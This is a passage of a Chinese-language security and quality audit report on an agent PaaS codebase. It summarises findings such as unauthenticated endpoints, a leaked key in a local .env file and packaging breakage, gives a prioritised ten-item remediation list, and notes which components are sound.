- **PaaS 攻击面爆开。** `/setup/bootstrap`、`/feishu/bind`、`/feishu/webhook`、`/analyze/*`、`/providers/*`、`/jobs/{id}` —— 这些在 Q2 都不存在（或没被标记），六个全都有 auth / RBAC / scoping 问题。
- **打包结构性损坏。** `agentpaas/pyproject.toml` 没声明 `lambdagent`（#4），`where=[".."]` 打出空 wheel（#18）。最近的 CI 修复（commit `874896e`）治标不治本。
- **travelagent 的 secret 暴露。** `agentexample/travelagent67/.env` 带真实 key 是 `agentexample/` 的新代码。未提交但在磁盘上。
- **webui 稳定性/UX bug。** `Chat.tsx` stream 泄漏（#15）、`Chat.tsx` 历史恢复 race（#55）、`AgentWorkspace.tsx` 文件预览 race（#56）、`KnowledgeDetail.tsx` wiki 页 race（#58）——都是最近 UI 工作引入的。
- **spec 漂移。** 84 条发现里 7 条是文档 / spec-vs-impl 漂移（README Loop/Memory 例子坏掉、YAML schema 与 docs 不符、SPEC.md 上不存在的端点、根 CONTRIBUTING.md license 矛盾）。

## 建议执行清单

按 impact/effort 排前 10，降序：

1. **修补三个无 auth 入口**（`/setup/bootstrap`、`/feishu/bind`、`/feishu/webhook`），所有 `/analyze/*` route 加 `Depends(get_tenant)`。**为什么：** 易触发的远程接管。**Effort：** S（约 1 天）。**Owner：** agentpaas。
2. **在 vendor 侧 rotate `AMAP_MCP_KEY` + `SILICONFLOW_API_KEY`；把 `agentexample/travelagent67/.env` 替换为占位符；加 pre-commit gitleaks。** **为什么：** 已被审计报告引用，假设已泄漏。**Effort：** S。**Owner：** 维护者 / examples。
3. **修 `agentpaas` 打包。** 在 `[project.dependencies]` 里加 `lambdagent`；切换到 src-layout（`agentpaas/src/agentpaas/`）。**为什么：** 这个包今天作为 wheel 无法构建。**Effort：** M。**Owner：** agentpaas。
4. **加 FastAPI 集成测试，覆盖 auth、RBAC、tenant 隔离、KB 链接。** 用 `TestClient` + sqlite-in-memory。**为什么：** 3477 LOC 的 route handler 可以静默坏掉；多 tenant 承诺未被验证。**Effort：** M（约 1 周）。**Owner：** agentpaas / tests。
5. **把 `agentexample/agent67/tools/shell_executor.py` 换成 allowlist + `shell=False` + sandbox。** 不用就删；不要 patch blocklist。**为什么：** ship 的示例里有 RCE primitive。**Effort：** S。**Owner：** examples。
6. **修 agent-to-KB 的 tenant scope（#30）和 `rollback_agent` RBAC/audit（#14）。** **为什么：** 通过文档化 API 跨 tenant 泄漏数据 + RBAC bypass。**Effort：** 各 S。**Owner：** agentpaas。
7. **修 README Quick Start Python DSL 例子（#37、#38、#71）。** 合并前端到端跑一遍。**为什么：** 第一印象。**Effort：** S。**Owner：** docs。
8. **在 `async_executor._reduce_par/_reduce_pair` 里照抄 sync `AsyncPar.apply` 的 Context-fork 模式（#8）。** 与 Q2 BUG-01 同一 root cause。**Effort：** S。**Owner：** lambdagent runtime。
9. **把 `compiler.py` 的 `_compile_react` 闭包重构成 `agentruntime/react_loop.py` 里的 class（#21），删掉 `react_engine.py` 里重复的 loop。** **为什么：** 解锁 BUG-06，让未来 ReAct 改动只改一个文件。**Effort：** L（约 2 周）。**Owner：** lambdagent compiler + runtime。
10. **定义 `lambdagent.host` 公开 API（cancel、set_cwd 等），停止从 agentpaas 伸进 private internals（#65、#66）。** **为什么：** 跨包边界需要在更多 handler 加 inline import 之前先有合约。**Effort：** M。**Owner：** lambdagent + agentpaas。

## 健康项

- **lambdagent kernel 本身。** 84 条发现里没有一条命中核心代数 Lambda calculus、CEK 机器语义、cost vector、graded cost、algebraic laws、effect handler 或 Paper II Prop 30 证明。Phase 1/Phase 2 P0/P1 工作经得住审视。kernel 的 175 个 test 是真实覆盖。
- **sync `multiagent.py` 的 Par/Pair/Handoff Context 处理。** `multiagent.py:681` 正确 fork context 并 merge trace —— bug 只在 async 兄弟里。写 sync 版的人写对了。
- **KB 端点的 tenant scope。** `agentpaas/api/v1/knowledge.py` 一致地强制 `WHERE id=? AND tenant_id=?`（约 25 处）—— agent-link 时的跨 tenant 缺口（#30）是*异常值*，不是常态。最重要的地方 pattern 是对的。
- **`tests/test_instance.py` 对 `_deep_merge` 的覆盖。** instance 机制的纯 Python helper 层测得不错——只是 DB 持久化路径缺失。
- **CI 里的 gitleaks。** `.github/workflows/ci.yml:23` 在 PR 上跑 gitleaks，正因为这个 travelagent 的 `.env` key 才没被提交，尽管它躺在磁盘上。CI 在做它该做的；pre-commit 层只需要 mirror 一下。
- **instance 机制的设计。** Agent 即 template、instance 即 data，配 `_deep_merge`、per-run workspace 带时间戳目录、永不删除——这是多 tenant LambdaRAG 的正确架构。test gap（#36）是实现问题不是设计问题。
- **wiki 端点的 containment 检查。** `knowledge.py:1050` 正确强制 `str(full).startswith(str(wiki_path.resolve()))` —— 证明这套代码知道正确 pattern。（`add_files` 在 #27 只是忘了用。）
- **Streaming SSE 基础设施。** `run_agent_stream` 正确卸到 daemon 线程（`agents.py:791`），不像 sync `/run` 那条线。形状好；只是 client 端缺 unmount cleanup。
- **`lambdagent.cost_grade` 里的 cost vector 和 graded cost 机制。** 存在且产生正确值；`_estimate_money` 的子串 bug（#59）是另一个 `recursive_engine.py` helper 里的，不是 authoritative 路径。
- **文档广度。** `docs/` 里有 `theory.md`、`constructs.md`、`from-config-spec.md`、`SPEC.md`、`api.md`、`cli-usage.md` 和设计笔记 —— spec-vs-impl 缺口正是因为 docs *的确*在尝试做到完整。漂移是维护问题，不是缺席问题。
